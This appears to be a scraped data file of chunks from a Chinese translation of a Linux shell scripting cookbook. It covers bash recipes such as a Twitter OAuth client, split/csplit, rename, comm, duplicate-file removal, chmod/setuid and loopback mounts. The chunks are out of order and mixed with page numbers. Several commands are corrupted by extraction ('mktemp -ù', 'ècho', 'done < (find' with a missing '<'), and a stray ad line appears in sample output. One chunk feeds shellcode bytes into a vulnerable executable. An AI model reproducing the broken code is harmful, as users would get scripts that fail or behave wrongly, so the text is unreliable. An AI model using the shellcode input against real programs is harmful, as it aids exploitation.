    {"text": "echo \"<img src=\\\"thumbs/$img\\\" title=\\\"$img\\\" /></a>\" >> index.html done cat <<EOF2 >> index.html </p> </body> </html> EOF2 echo Album generated to index.html 运行脚本： $ ./generate_album.sh Creating album.. Album generated to index.html 5.8.3 工作原理 脚本的起始部分用于生成HTML页面的头部。 接下来，脚本将一直到EOF1的这部分内容（不包括EOF1）重定向到index.html： cat <<EOF1 > index.html contents... EOF1 页面头部包括HTML和CSS样式。"},
    {"text": "下面的语句会生成所需的<img>标签并将其添加到index.html中： echo \"<a href=\\\"$img\\\" >\" echo \"<img src=\\\"thumbs/$img\\\" title=\\\"$img\\\" /></a>\" >> index.html 最后再用cat添加HTML页脚，实现方法和添加页面头部一样。"},
    {"text": "2 5.9.1 预备知识 最近Twitter已经不再允许用户使用普通的HTTP认证（plain HTTP Authentication）登录了， 3 我们必须使用OAuth进行自身认证（authenticate ourselves）。"},
    {"text": "(1) 从https://github.com/livibetter/bash-oauth/archive/master.zip处下载bash-oauth库，将其解 4 压缩到任意目录中。 (2) 进入该目录中的bash-oauth-master子目录，以root身份执行make install-all。"},
    {"text": "7 5.9.2 实战演练 下面的bash脚本使用OAuth库读取或发送你的tweet： 8 #!/bin/bash #文件名: twitter.sh #用途:twitter客户端基本版 9 oauth_consumer_key=YOUR_CONSUMER_KEY oauth_consumer_secret=YOUR_CONSUMER_SECRET config_file=~/.$oauth_consumer_key-$oauth_consumer_secret-rc 10 if [[ \"$1\" != \"read\" ]] && [[ \"$1\" != \"tweet\" ]]; then echo -e \"Usage: $0 tweet status_message\\n OR\\n $0 read\\n\" 11 exit -1; fi #source /usr/local/bin/TwitterOAuth.sh 12 source bash-oauth-master/TwitterOAuth.sh TO_init if [ ! -e $config_file ]; then TO_access_token_helper 14 178 第 5 章 一团乱麻？"},
    {"text": "if (( $? == 0 )); then echo oauth_token=${TO_ret[0]} > $config_file echo oauth_token_secret=${TO_ret[1]} >> $config_file fi fi source $config_file if [[ \"$1\" = \"read\" ]]; then TO_statuses_home_timeline '' 'YOUR_TWEET_NAME' '10' echo $TO_ret | sed 's/,\"/\\n/g' | sed 's/\":/~/' | \\ awk -F~ '{} \\ {if ($1 == \"text\") \\ {txt=$2;} \\ else if ($1 == \"screen_name\") \\ printf(\"From: %s\\n Tweet: %s\\n\\n\", $2, txt);} \\ {}' | tr '\"' ' ' elif [[ \"$1\" = \"tweet\" ]]; then shift TO_statuses_update '' \"$@\" echo 'Tweeted :)' fi 运行脚本： $./twitter.sh read Please go to the following link to get the PIN: https://api.twitter.com/oauth/authorize? oauth_token=LONG_TOKEN_STRING PIN: PIN_FROM_WEBSITE Now you can create, edit and present Slides offline. - by A Googler $./twitter.sh tweet \"I am reading Packt Shell Scripting Cookbook\" Tweeted :) $./twitter.sh read | head -2 From: Clif Flynt Tweet: I am reading Packt Shell Scripting Cookbook 5.9.3 工作原理 首先，使用source命令引入TwitterOAuth.sh库，这样就可以利用其中定义好的函数访问 Twitter了。"},
    {"text": "该函数返回的数 1 据是一个JSON格式的长字符串，类似于下列形式： [{\"created_at\":\"Thu Nov 10 14:45:20 +0000 \"016\",\"id\":7...9,\"id_str\":\"7...9\",\"text\":\"Dining... 2 每条tweet都是以created_at标签作为起始，其中还包含了text和screen_name标签。"},
    {"text": "这些行通过 管道传入另一个sed命令，在这里将每一处\":替换成波浪号（~），处理后的结果类似于这样： 5 screen_name~\"Clif_Flynt\" 6 最后的awk脚本读取每一行。"},
    {"text": "5.10.2 实战演练 下面这段脚本可以显示出词汇含义： #!/bin/bash #文件名: define.sh #用途:用于从dictionaryapi.com获取词汇含义 key=YOUR_API_KEY_HERE if [ $# -ne 2 ]; then echo -e \"Usage: $0 WORD NUMBER\" exit -1; fi curl --silent \\ http://www.dictionaryapi.com/api/v1/references/learners/xml/$1?key=$key | \\ grep -o \\<dt\\>.*\\</dt\\> | \\ sed 's$</*[a-z]*>$$g' | \\ head -n $2 | nl 运行脚本： $ ./define.sh usb 1 1 :a system for connecting a computer to another device (such as a printer, keyboard, or mouse) by using a special kind of cord a USB cable/port USB is an abbreviation of \"Universal Serial Bus.\"How it works... 5.10.3 工作原理 我们使用curl，通过指定API key（$apikey）以及待查找含义的词汇（$1）从词典API页 面获取相关数据。"},
    {"text": "4 5.11.2 实战演练 下面的脚本利用lynx和curl查找Web页面上的无效链接： 5 #!/bin/bash #文件名: find_broken.sh #用途: 查找网站中的无效链接"},
    {"text": "index $ uniq -z file.txt | xargs -0 rm 如果某个文件名出现多次，uniq命令只会将这个文件名写入stdout一次，这样就可以避免 出现rm: cannot remove FILENAME: No such file or directory。"},
    {"text": "2.11 分割文件与数据 77 2.10.1 实战演练 1 mktemp命令可以为临时文件或目录创建唯一的名字。 (1) 创建临时文件： 2 $ filename=`mktemp` $ echo $filename /tmp/tmp.8xvhkjF5fH 3 上面的代码创建了一个临时文件，然后打印出保存在变量filename中的文件名。 (2) 创建临时目录： 4 $ dirname=`mktemp -d` $ echo $dirname tmp.NI8xzW7VRX 5 上面的代码创建了一个临时目录，然后打印出保存在变量dirname中的目录名。  如果仅仅是想生成文件名，不希望创建实际的文件或目录，可以这样： 6 $ tmpfile=`mktemp -ù $ echo $tmpfile /tmp/tmp.RsGmilRpcT 7 文件名被存储在$tmpfile中，但并没有创建对应的文件。  基于模板创建临时文件名： 8 $mktemp test.XXX test.2tc 9 2.10.2 工作原理 mktemp命令的用法非常简单。"},
    {"text": "该命令接受文件名作为参数，然后创建出一系列体积更小的 文件，其中依据字母序排在首位的那个文件对应于原始文件的第一部分，排在次位的文件对应于 原始文件的第二部分，以此类推。"},
    {"text": "此外， -a length 可以指定后缀长度： $ split -b 10k data.file -d -a 4 $ ls data.file x0009 x0019 x0029 x0039 x0049 x0059 x0069 x0079 2.11.2 补充内容 来看看split命令的其他选项。"},
    {"text": "为分割后的文件指定文件名前缀 之前那些分割后的文件名都是以x作为前缀。 如果要分割的文件不止一个，我们自然希望能 自己命名这些分割后的文件，这样才能够知道这些文件分别属于哪个原始文件。"},
    {"text": "这次我们使用split_file作为文件名前缀，重新执行上一条命令： $ split -b 10k data.file -d -a 4 split_file $ ls data.file split_file0002 split_file0005 split_file0008 strtok.c split_file0000 split_file0003 split_file0006 split_file0009 split_file0001 split_file0004 split_file0007 如果不想按照数据块大小，而是根据行数来分割文件的话，可以使用 -l no_of_lines： # 分割成多个文件，每个文件包含 10 行 $ split -l 10 data.file csplit实用工具能够基于上下文来分隔文件。"},
    {"text": "1 看一个日志文件示例： $ cat server.log 2 SERVER-1 [connection] 192.168.0.1 success [connection] 192.168.0.2 failed [disconnect] 192.168.0.3 pending [connection] 192.168.0.4 success 3 SERVER-2 [connection] 192.168.0.1 failed [connection] 192.168.0.2 failed [disconnect] 192.168.0.3 success 4 [connection] 192.168.0.4 failed SERVER-3 [connection] 192.168.0.1 pending [connection] 192.168.0.2 pending 5 [disconnect] 192.168.0.3 pending [connection] 192.168.0.4 failed 我们需要将这个日志文件分割成server1.log、server2.log和server3.log，这些文件的内容分别 6 取自原文件中不同的SERVER部分。 实现方法如下： $ csplit server.log /SERVER/ -n 2 -s {*} -f server -b \"%02d.log\" $ rm server00.log 7 $ ls server01.log server02.log server03.log server.log 下面是这个命令的详细说明。"},
    {"text": "2.12.1 实战演练 借助%操作符可以从name.extension这种格式中提取name部分（文件名）。 下面的例子从 sample.jpg中提取了sample： file_jpg=\"sample.jpg\" name=${file_jpg%.*} echo File name is: $name 输出结果： File name is: sample #操作符可以提取出扩展名。 提取文件名中的 .jpg并存储到变量file_jpg中： extension=${file_jpg#*.} echo Extension is: jpg 输出结果： Extension is: jpg 2.12.2 工作原理 在第一个例子中，我们使用了%操作符从形如name.extension的格式中提取出了文件名。"},
    {"text": "例如， 我们现在有这样一个文件： 2.12 根据扩展名切分文件名 81 VAR=hack.fun.book.txt 1 使用%操作符从右向左执行非贪婪匹配，得到匹配结果.txt： $ echo ${VAR%.*} 2 命令输出：hack.fun.book。 使用%%操作符从右向左执行贪婪匹配，得到匹配结果.fun.book.txt： 3 $ echo ${VAR%%.*} 命令输出：hack。"},
    {"text": "来看一个例子： 7 VAR=hack.fun.book.txt 使用#操作符从左向右执行非贪婪匹配，得到匹配结果hack： $ echo ${VAR#*.} 8 命令输出：fun.book.txt。 使用##操作符从左向右执行贪婪匹配，得到匹配结果hack.fun.book： 9 $ echo ${VAR##*.} 命令输出：txt。"},
    {"text": "假定URL为www.google.com： $ echo ${URL%.*} # 移除 .* 所匹配的最右边的内容 12 www.google $ echo ${URL%%.*} # 将从右边开始一直匹配到最左边的 .* （贪婪操作符）移除 www 14 82 第 2 章 命令之乐 $ echo ${URL#*.} # 移除*.所匹配的最左边的内容 google.com $ echo ${URL##*.} # 将从左边开始一直匹配到最右边的 *. （贪婪操作符）移除 com 2.13 多个文件的重命名与移动 移动或重命名多个文件是我们经常会碰到的一项工作。"},
    {"text": "注意，脚本并不会修改文件的扩展名： #!/bin/bash #文件名: rename.sh #用途: 重命名 .jpg 和 .png 文件 count=1; for img in `find . -iname '*.png' -o -iname '*.jpg' -type f -maxdepth 1` do new=image-$count.${img##*.} echo \"Renaming $img to $new\" mv \"$img\" \"$new\" let count++ done 2.13 多个文件的重命名与移动 83 输出如下： 1 $ ./rename.sh Renaming hack.jpg to image-1.jpg Renaming new.jpg to image-2.jpg 2 Renaming next.png to image-3.png 该脚本重命名了当前目录下所有的.jpg和.png文件，新文件名采用形如image-1.jpg、image-2.jpg、 image-3.png 3 、image-4.png的格式。 2.13.3 工作原理 4 在前面的重命名脚本中使用了for循环迭代所有扩展名为.jpg或.png的文件。"},
    {"text": "7  将 *.JPG更名为 *.jpg： $ rename *.JPG *.jpg 8  将文件名中的空格替换成字符 \"_\"： $ rename 's/ /_/g' * 9 's/ /_/g'用于替换文件名，而 * 是用于匹配目标文件的通配符，它也可以写成 *.txt 或其他通配符模式。"},
    {"text": " 转换文件名的大小写： 10 $ rename 'y/A-Z/a-z/' * $ rename 'y/a-z/A-Z/' * 11  将所有的.mp3文件移入给定的目录： $ find path -type f -name \"*.mp3\" -exec mv {} target_dir \\; 12  以递归的方式将所有文件名中的空格替换为字符\"_\"： $ find path -type f -exec rename 's/ /_/g' {} \\; 14 84 第 2 章 命令之乐 2.14 拼写检查与词典操作 大多数Linux发行版都含有一份词典文件。"},
    {"text": "$ ls /usr/share/dict/ american-english british-english 为了检查给定的单词是否为词典单词，可以使用下面的脚本： #!/bin/bash #文件名: checkword.sh word=$1 grep \"^$1$\" /usr/share/dict/british-english -q if [ $? -eq 0 ]; then echo $word is a dictionary word; else echo $word is not a dictionary word; fi 这个脚本的用法如下： $ ./checkword.sh ful ful is not a dictionary word $ ./checkword.sh fool fool is a dictionary word 2.14.2 工作原理 在grep中，^标记着单词的开始，$标记着单词的结束①，-q选项 禁止grep产生任何输出。 作为另一种选择，我们也可以用拼写检查命令aspell来核查某个单词是否在词典中： #!/bin/bash #文件名: aspellcheck.sh word=$1 —————————— ① ^匹配的是行首位置，$匹配的是行尾位置。"},
    {"text": "2.15 交互输入自动化 85 1 output=ècho \\\"$word\\\" | aspell list` if [ -z $output ]; then echo $word is a dictionary word; else 2 echo $word is not a dictionary word; fi 当给定的输入不是一个词典单词时，aspell list命令会生成输出，否则不产生任何输出。"},
    {"text": "look默认会搜索/usr/share/dict/words， 你也可以给出文件供其搜索： $ look word 5 或者使用 $ grep \"^word\" filepath 6 例如： $ look android android 7 android's androids 在/var/log/syslog中找出以特定日期起始的日志记录： 8 $look 'Aug 30' /var/log/syslog 9 2.15 交互输入自动化 我们知道命令可以接受命令行参数。"},
    {"text": "例如，一个备份用户工作成果的脚本看起来应该像这样： 11 $ backupWork.sh  What folder should be backed up? notes  What type of files should be backed up? .docx 12 如果你需要返回到同一交互式应用，实现交互式应用自动化能够节省大量的时间；"},
    {"text": "2.15.3 工作原理 先写一个读取交互式输入的脚本，然后用这个脚本做自动化演示： #!/bin/bash # backup.sh # 使用后缀备份文件。 不备份以~开头的临时文件 read -p \" What folder should be backed up: \" folder read -p \" What type of files should be backed up: \" suffix find $folder -name \"*.$suffix\" -a ! -name '~*' -exec cp {} \\ $BACKUP/$LOGNAME/$folder echo \"Backed up files from $folder to $BACKUP/$LOGNAME/$folder\" 按照下面的方法向脚本发送自动输入： $ echo -e \"notes\\ndocx\\n\" | ./backup.sh Backed up files from notes to /BackupDrive/MyName/notes 像这样的交互式脚本自动化能够在开发和调试过程中节省大量输入。"},
    {"text": "如果输入内容比较多， 可以用单独的输入文件结合重定向操作符来提供输入： $ echo -e \"notes\\ndocx\\n\" > input.data $ cat input.data notes docx 2.15 交互输入自动化 87 你也可以选择手动构造输入文件，不使用echo命令： 1 $ ./interactive.sh < input.data 这种方法是从文件中导入交互式输入数据。"},
    {"text": "因此，我们需要使用： 3 echo -e \"\\xeb\\x1a\\x5e\\x31\\xc0\\x88\\x46\" 这条命令会将这串字节序列重定向到有缺陷的可执行文件中。"},
    {"text": "10 表 2-2 命 令 描 述 spawn 运行新的目标应用 11 expect 关注目标应用发送的模式 send 向目标应用发送字符串 12 下面的例子会先执行备份脚本，然后查找模式*folder*或*file*，以此确定备份脚本是否 要求输入目录名或文件名并作出相应的回应。"},
    {"text": "14 88 第 2 章 命令之乐 #!/usr/bin/expect #文件名: automate_expect.tcl spawn ./backup .sh expect { \"*folder*\" { send \"notes\\n\" exp_continue } \"*type*\" { send \"docx\\n\" exp_continue } } 运行该脚本： $ ./automate_expect.tcl spawn命令的参数是需要自动化运行的应用程序及其参数。"},
    {"text": "如果多个文件需要生成校验和，我们可以使用下面的脚本来运行md5sum的多个实例： #/bin/bash #文件名: generate_checksums.sh PIDARRAY=() for file in File1.iso File2.iso do 2.17 检查目录以及其中的文件与子目录 89 md5sum $file & 1 PIDARRAY+=(\"$!\") done wait ${PIDARRAY[@]} 运行脚本后，可以得到如下输出： 2 $ ./generate_checksums.sh 330dcb53f253acdf76431cecca0fefe7 File1.iso bd1694a6fe6df12c3b8141dcffaf06e6 File2.iso 3 输出结果和下面命令的结果一样： md5sum File1.iso File2.iso 4 但如果多个md5sum命令同时运行，配合多核处理器，你就会更快地获得运行结果（可以使 用time命令来验证）。"},
    {"text": "下面的命令使用了Imagemagick的convert程序来为目录中的所有图像创建新的缩放版本： 11 ls *jpg | parallel convert {} -geometry 50x50 {.}Small.jpg 2.17 检查目录以及其中的文件与子目录 12 我们处理得最多的一个问题就是查找放错地方的文件并整理凌乱的文件层次结构。"},
    {"text": "一种方法是将目录层次以树状形式显示出来，另一种方法是生成 目录下所有文件和子目录的汇总信息。 1. 生成目录的树状视图 有时候，如果文件系统以图形化形式呈现，会更容易形成直观的印象。"},
    {"text": "第一个tr删除了所有的字母数字字符、连字符（-） 、下划线 （_）和点号（.），只将路径中的斜线（/）传入第二个tr，后者将这些斜线全部转换成空格。"},
    {"text": "下面来查看目录/var/log的树状视图： $ cd /var/log $ find . -exec sh -c 'echo -n {} | tr -d \"[:alnum:]_.\\-\" | \\ tr \"/\" \" \"; basename {}' \\; 生成如下输出： mail statistics gdm ::0.log ::0.log.1 cups error_log access_log ... access_l 2. 生成文件及子目录的汇总信息 我们可以结合find、echo和wc（下一章会详细讲解该命令）生成子目录列表以及其中的文 件数量。 下面的命令可以获得当前目录下文件的汇总信息： 2.17 检查目录以及其中的文件与子目录 91 for d in `find . -type d`; 1 do echòfind $d -type f | wc -l` files in $d; done 如果在/var/log下执行该脚本，会生成如下输出： 2 103 files in . 17 files in ./cups 0 files in ./hp 3 0 files in ./hp/tmp 4 5 6 7 8 9 10 11 12 14 92 第 3 章 以文件之名 第 3 章 以文件之名 本章内容  生成任意大小的文件  查找并修补文件差异  文本文件的交集与差集  使用head与tail打印文件的前10行  查找并删除重复文件 和后10行  文件权限、所有权与粘滞位  只列出目录的各种方法  将文件设置为不可修改  在命令行中使用pushd和popd实现快  批量生成空白文件 速定位  查找符号链接及其指向目标  统计文件的行数、单词数和字符数  枚举文件类型统计信息  打印目录树  使用环回文件  处理视频与图像文件  生成ISO及混合型ISO文件 3.1 简介 Unix为所有的设备和系统功能提供了文件形式的接口。"},
    {"text": "你可以使用这种文件测试应用程序效率，确定应用程序没 3.2 生成任意大小的文件 93 有输入方面的缺陷和大小方面的限制，创建环回文件系统（环回文件自身包含文件系统，这种文 1 件可以像物理设备一样使用mount命令进行挂载）等。"},
    {"text": "下面是使用dd命令的一个示例： $ dd if=/dev/zero of=junk.data bs=1M count=1 4 1+0 records in 1+0 records out 1048576 bytes (1.0 MB) copied, 0.00767266 s, 137 MB/s 5 该命令会创建一个内容全部为零的1MB大小的文件junk.data。"},
    {"text": "在上面的例子中，我们将bs指定为1MB，count指定为1，于是得到了一个大 9 小为1MB的文件。 如果把bs设为2MB，count设为2，那么总文件大小就是4MB。"},
    {"text": "表 3-1 单元大小 代 码 11 字节（1B） C 字（2B） w 块（512B） B 12 千字节（1024B） K 兆字节（1024KB） M 14 吉字节（1024MB） G 94 第 3 章 以文件之名 我们可以利用bs来生成任意大小的文件。"},
    {"text": "使用dd命令也能够用来测量内存操作的速度，这可以通过向/dev/null传输大量数据并观 察命令输出来实现（例如，在前一个例子中显示出的1048576 bytes (1.0 MB) copied, 0.00767266 s, 137 MB/s） 。"},
    {"text": " 交集（intersection）：打印出两个文件所共有的行。  求差（difference）：打印出指定文件中所包含的互不相同的那些行。  差集（set difference）①：打印出包含在文件A中，但不包含在其他指定文件（例如B和C） 中的那些行。"},
    {"text": "下面是我们用到的输入文件： $ cat A.txt apple orange gold silver —————————— ① 假设现在有两个文件A和B，内容分别是：A(1,2,3)，B(3,4,5)。"},
    {"text": "3.3 文本文件的交集与差集 95 steel 1 iron $ cat B.txt orange gold 2 cookies carrot $ sort A.txt -o A.txt ; sort B.txt -o B.txt 3 (1) 首先执行不带任何选项的comm： $ comm A.txt B.txt 4 apple carrot cookies gold iron 5 orange silver steel 6 输出的第一列包含只在A.txt中出现的行，第二列包含只在B.txt中出现的行，第三列包含 A.txt和B.txt中共有的行。"},
    {"text": "-1选项可以删除第 一列，-2选项可以删除第二列，最后留下的就是第三列： $ comm A.txt B.txt -1 -2 8 gold orange (3) 删除第三列，就可以打印出两个文件中互不相同的那些行： 9 $ comm A.txt B.txt -3 apple carrot cookies 10 iron silver steel 11 输出中包含着夹杂有空白的两列，显示了在file1和file2中存在的唯一的行。 要想提高输出 结果的可用性，可以将两列合并成一列，就像这样： apple 12 carrot cookies iron silver 14 steel 96 第 3 章 以文件之名 (4) 可以使用tr（在第2章中讲到过）删除制表符来合并两列： $ comm A.txt B.txt -3 | tr -d '\\t' apple carrot cookies iron silver steel (5) 通过删除不需要的列，我们就可以分别得到A.txt和B.txt的差集。  A.txt的差集 $ comm A.txt B.txt -2 -3 -2 -3 删除第二列和第三列。  B.txt的差集 $ comm A.txt B.txt -1 -3 -1 -3 删除第一列和第三列。"},
    {"text": "假设我们有一个文件C.txt： $> cat C.txt pear orange silver mithral 我们可以将文件B.txt和C.txt与A.txt相比较： 3.4 查找并删除重复文件 97 $> sort B.txt C.txt | comm - A.txt 1 apple carrot cookies gold iron 2 mithral orange pear silver 3 steel 3.4 查找并删除重复文件 4 无论是恢复备份，还是在离线模式（disconnected mode）下使用笔记本电脑，或是从手机中 下载图片，到最后都会碰到具有相同内容的重复文件。"},
    {"text": "我们可以使用一些shell实用工具检查文件内容，识别重复文件。 在这则攻 略中，我们将讨论如何查找重复文件并根据查找结果执行相关的操作。 6 3.4.1 预备知识 我们可以通过比较文件内容来识别重复文件。"},
    {"text": "9 (1) 创建一些测试文件： $ echo \"hello\" > test ; cp test test_copy1 ; cp test test_copy2; $ echo \"next\" > other; 10 # test_copy1 和 test_copy2 都是 test 文件的副本 (2) 我们在脚本中使用awk（Linux/Unix系统中都存在的一个解释器）来删除重复文件： # !/bin/bash 11 # 文件名: remove_duplicates.sh # 用途: 查找并删除重复文件，每一个文件只保留一份 ls -lS --time-style=long-iso | awk 'BEGIN { getline; getline; 12 name1=$8; size=$5 } { name2=$8; 14 if (size==$5) 98 第 3 章 以文件之名 { \"md5sum \"name1 | getline; csum1=$1; \"md5sum \"name2 | getline; csum2=$1; if ( csum1==csum2 ) { print name1; print name2 } }; size=$5; name1=name2; }' | sort -u > duplicate_files cat duplicate_files | xargs -I {} md5sum {} | \\ sort | uniq -w 32 | awk '{ print $2 }' | \\ sort -u > unique_files echo Removing.. comm duplicate_files unique_files -3 | tee /dev/stderr | \\ xargs rm echo Removed duplicates files successfully. (3) 执行该脚本： $ ./remove_duplicates.sh 3.4.3 工作原理 前文中的shell脚本会找出某个目录中同一文件的所有副本，然后保留单个副本的同时删除其 他副本。"},
    {"text": "ls -lS的输出如下： total 16 -rw-r--r-- 1 slynux slynux 5 2010-06-29 11:50 other 3.5 文件权限、所有权与粘滞位 99 -rw-r--r-- 1 slynux slynux 6 2010-06-29 11:50 test 1 -rw-r--r-- 1 slynux slynux 6 2010-06-29 11:50 test_copy1 -rw-r--r-- 1 slynux slynux 6 2010-06-29 11:50 test_copy2  第1行输出告诉了我们文件的总数量，这个信息在本例中没什么用处。"},
    {"text": "4 在awk内部可以读取外部命令的输出： \"cmd\"| getline 5 读入一行后，该行就被保存在$0中，行中的每一列分别被保存在$1、$2…$n中。"},
    {"text": "这是通过用-w 32比较每一行的md5sum输出 中的前32个字符（md5sum的输出通常由32个字符的散列值和文件名组成）来找出那些不相同的 行（注：也就是不重复的文件）。"},
    {"text": "用户（user）是文件的所有者，通常拥有所有的访问权。 用户组（group）是多个用户的集合 （由系统管理员指定），可能拥有文件的部分访问权。 其他用户（others）是除文件所有者或用户 组成员之外的任何人。"},
    {"text": "ls命令的-l选项可以显示出包括文件类型、权限、所有者以及组在内的多方面信息： -rw-r--r-- 1 slynux users 2497 2010-02-28 11:22 bot.py drwxr-xr-x 2 slynux users 4096 2010-05-27 14:31 a.py -rw-r--r-- 1 slynux users 539 2010-02-10 09:11 cl.pl 第1列表明了文件类型。"},
    {"text": "用户还有一个称为setuid（S）的特 殊权限，它出现在执行权限（x）的位置。 setuid权限允许可执行文件以其拥有者的权 限来执行，即使这个可执行文件是由其他用户运行的。 具有setuid权限文件的权限序列 2 可以是这样的：-rwS------。"},
    {"text": "例如： ------rwt , ------rwT 7 设置目录粘滞位的一个典型例子就是/tmp，也就是说任何人都可以在该目录中创建文件， 但只有文件的所有者才能删除其所创建的文件。"},
    {"text": "为已经具有权限rwx rw- r-的文件添加可执行权限： $ chmod o+x filename 该命令为其他用户添加了x权限。 给所有权限类别（即用户、用户组和其他用户）添加可执行权限： $ chmod a+x filename 其中，a表示全部（all）。 如果需要删除权限，则使用-，例如： $ chmod a-x filename 权限也可以使用3位八进制数来表示，每一位按顺序分别对应用户、用户组和其他用户。"},
    {"text": "读、写和执行权限都有与之对应的唯一的八进制数：  r = 4  w = 2  x = 1 我们可以相加权限对应的八进制值得到所需的权限组合。 例如：  rw- = 4 + 2 = 6  r-x = 4 + 1 = 5 权限rwx rw- r--的数字表示形式如下：  rwx = 4 + 2 + 1 = 7  rw- = 4 + 2 = 6  r-- = 4 因此，rwx rw- r-- 等于764，那么使用八进制值设置权限的命令为： $ chmod 764 filename 3.5.2 补充内容 让我们再看一些其他有关文件和目录的操作。"},
    {"text": "3.5 文件权限、所有权与粘滞位 103 1. 更改所有权 1 可以使用chown命令更改文件或目录的所有权： $ chown user:group filename 2 例如： $ chown slynux:users test.sh 3 在这里，slynux是用户名，users是组名。"},
    {"text": "5 可以使用chmod的+t选项设置： $ chmod a+t directory_name 6 3. 以递归方式设置文件权限 有时候需要以递归的方式修改当前目录下的所有文件和子目录的权限。 chmod的-R选项能够 实现这种需求： 7 $ chmod 777 . -R 选项-R指定以递归的方式修改权限。 8 我们用.指定当前工作目录，这等同于： $ chmod 777 \"$(pwd)\" -R 9 4. 以递归的方式设置所有权 用chown命令的-R能够以递归的方式设置所有权： 10 $ chown user:group . -R 5. 以不同的身份运行可执行文件（setuid） 11 一些可执行文件需要以另一种身份来运行。"},
    {"text": "运行下面的 命令： 14 104 第 3 章 以文件之名 $ chmod +s executable_file # chown root:root executable_file # chmod +s executable_file $ ./executable_file 现在，无论是谁发起调用，该文件都是以root用户的身份来执行。"},
    {"text": "可以利用命令df -T或是通过查看 /etc/mtab文件来 确定文件系统的类型。 /etc/mtab文件的第一列指定了分区设备路径（例如/dev/sda5），第三列指定 了文件系统类型（例如ext3）。"},
    {"text": "该文件包含了一组DNS服务器列表。 DNS服务器负责将域名（例如packtpub.com）转换成IP地址。 它通常被设置成你所属ISP的DNS服务器地址。 但如果你更喜欢使用第三方的DNS服务器，可以 修改/etc/resolv.conf，将其指向所选的服务器。"},
    {"text": "(1) 使用chatter将文件设置为不可修改： # chattr +i file 3.7 批量生成空白文件 105 (2) 现在文件已经无法修改了。 来试试下面的命令: 1 rm file rm: cannot remove 'file': Operation not permitted (3) 2 如果需要使文件恢复可写状态，撤销不可修改属性即可： chattr -i file 3 3.7 批量生成空白文件 脚本在应用于实际系统之前必须经过测试。"},
    {"text": "7 (1) 调用touch命令并使用一个不存在的文件名作为参数，创建空白文件： $ touch filename 8 (2) 批量生成不同名字的空白文件： for name in {1..100}.txt 9 do touch $name done 在上面的代码中，{1..100}会扩展成一个字符串1, 2, 3, 4, 5, 6, 7...100。"},
    {"text": "除了将时间戳更改为当前时间，我们还能够指定特定的时间和日期： 14 $ touch -d \"Fri Jun 25 20:50:14 IST 1999\" filename 106 第 3 章 以文件之名 -d使用的日期串不需要是严格的格式。"},
    {"text": "(1) 创建符号链接： $ ln -s target symbolic_link_name 例如： $ ln -l -s /var/www/ ~/web 这个命令在当前用户的主目录中创建了一个名为Web的符号链接。"},
    {"text": "(2) 使用下面的命令来验证链接是否已建立： $ ls -l web lrwxrwxrwx 1 slynux slynux 8 2010-06-25 21:34 web -> /var/www web -> /var/www表明web指向 /var/www。"},
    {"text": "(3) 打印出当前目录下的符号链接： $ ls -l | grep \"^l\" (4) 打印出当前目录及其子目录下的符号链接： $ find . -type l -print (5) 使用readlink打印出符号链接所指向的目标路径： $ readlink web /var/www 3.9 枚举文件类型统计信息 107 3.8.2 工作原理 1 在使用grep和ls显示当前目录下的符号链接时，grep ^l命令用于对ls -l的输出进行过 滤，只显示那些以l起始的行。"},
    {"text": "3.9.1 预备知识 6 在Unix/Linux系统中，文件类型并不是由文件扩展名决定的（微软的Windows操作系统是这 么做的）。 Unix/Linux系统使用file命令，通过检查文件内容来确定其类型。"},
    {"text": "(1) 用下面的命令打印文件类型信息： 10 $ file filename $ file /etc/passwd 11 /etc/passwd: ASCII text (2) 打印不包括文件名在内的文件类型信息： 12 $ file -b filename ASCII text —————————— 14 ① 该方法利用了这样一个事实：每个符号链接的权限标记块（lrwxrwxrwx）均以字母l起始。"},
    {"text": "108 第 3 章 以文件之名 (3) 生成文件统计信息的脚本如下： # !/bin/bash # 文件名: filestat.sh if [ $# -ne 1 ]; then echo \"Usage is $0 basepath\"; exit fi path=$1 declare -A statarray; while read line; do ftype=`file -b \"$line\" | cut -d, -f1` let statarray[\"$ftype\"]++; done < (find $path -type f -print) echo ============ File types and counts ============= for ftype in \"${!statarray[@]}\"; do echo $ftype : ${statarray[\"$ftype\"]} done (4) 用法如下： $ ./filestat.sh /home/slynux/temp (5) 输出信息如下： $ ./filetype.sh /home/slynux/programs ============ File types and counts ============= Vim swap file : 1 ELF 32-bit LSB executable : 6 ASCII text : 2 ASCII C program text : 10 3.9.3 工作原理 该脚本依赖于关联数组statarray。"},
    {"text": "while循环的形式如下： 3.10 使用环回文件 109 while read line; 1 do something done < filename 在这里，我们没有使用文件，而是使用find命令的输出作为while的输入。"},
    {"text": "2 (find $path -type f -print)就相当于上面的filename（文件名） ，只不过是用的子进 程的输出。 3 注意，第一个<用于输入重定向，第二个<用于将子进程的输出转换成相应 的filename（文件名）（注：这里使用了进程替换）。"},
    {"text": "各种 6 细节信息由逗号分隔，例如： $ file a.out -b ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not 7 stripped 我们只需要从上面这些信息中提取ELF 32-bit LSB executable。"},
    {"text": "利 10 用这个新操作符，可以将loop循环的done语句改写成： done <<< \"`find $path -type f -print`\" 11 ${!statarray[@]}用于返回数组的索引列表。"},
    {"text": "(1) 使用dd命令创建一个1GB大小的文件： $ dd if=/dev/zero of=loobackfile.img bs=1G count=1 1024+0 records in 1024+0 records out 1073741824 bytes (1.1 GB) copied, 37.3155 s, 28.8 MB/s 你会发现创建好的文件大小超过了1GB。"},
    {"text": "(2) 用mkfs命令将1GB的文件格式化成ext4文件系统： $ mkfs.ext4 loopbackfile.img (3) 使用file命令检查文件系统： $ file loobackfile.img loobackfile.img: Linux rev 1.0 ext4 filesystem data, UUID=c9d56c42-f8e6-4cbd-aeab-369d5056660a (extents) (large files) (huge files) (4) 使用mkdir创建挂载点并挂载环回文件： # mkdir /mnt/loopback # mount -o loop loopbackfile.img /mnt/loopback 选项-o loop用来挂载环回文件系统。"},
    {"text": "这里用的实际上是一种快捷方式，可以将环回文件系统附加到（attach）由操作系统选定 的设备上，这些设备的名称类似于/dev/loop1或/dev/loop2。"},
    {"text": "(5) 也可以使用以下命令来指定具体的环回设备： # losetup /dev/loop1 loopbackfile.img # mount /dev/loop1 /mnt/loopback (6) 使用下面的方法进行卸载（umount）： # umount mount_point 例如： # umount /mnt/loopback 3.10 使用环回文件 111 (7) 也可以用设备文件的路径作为umount命令的参数： 1 # umount /dev/loop1 注意，因为mount和umount都是特权命令，所以必须以root用户的身份来 2 执行。"},
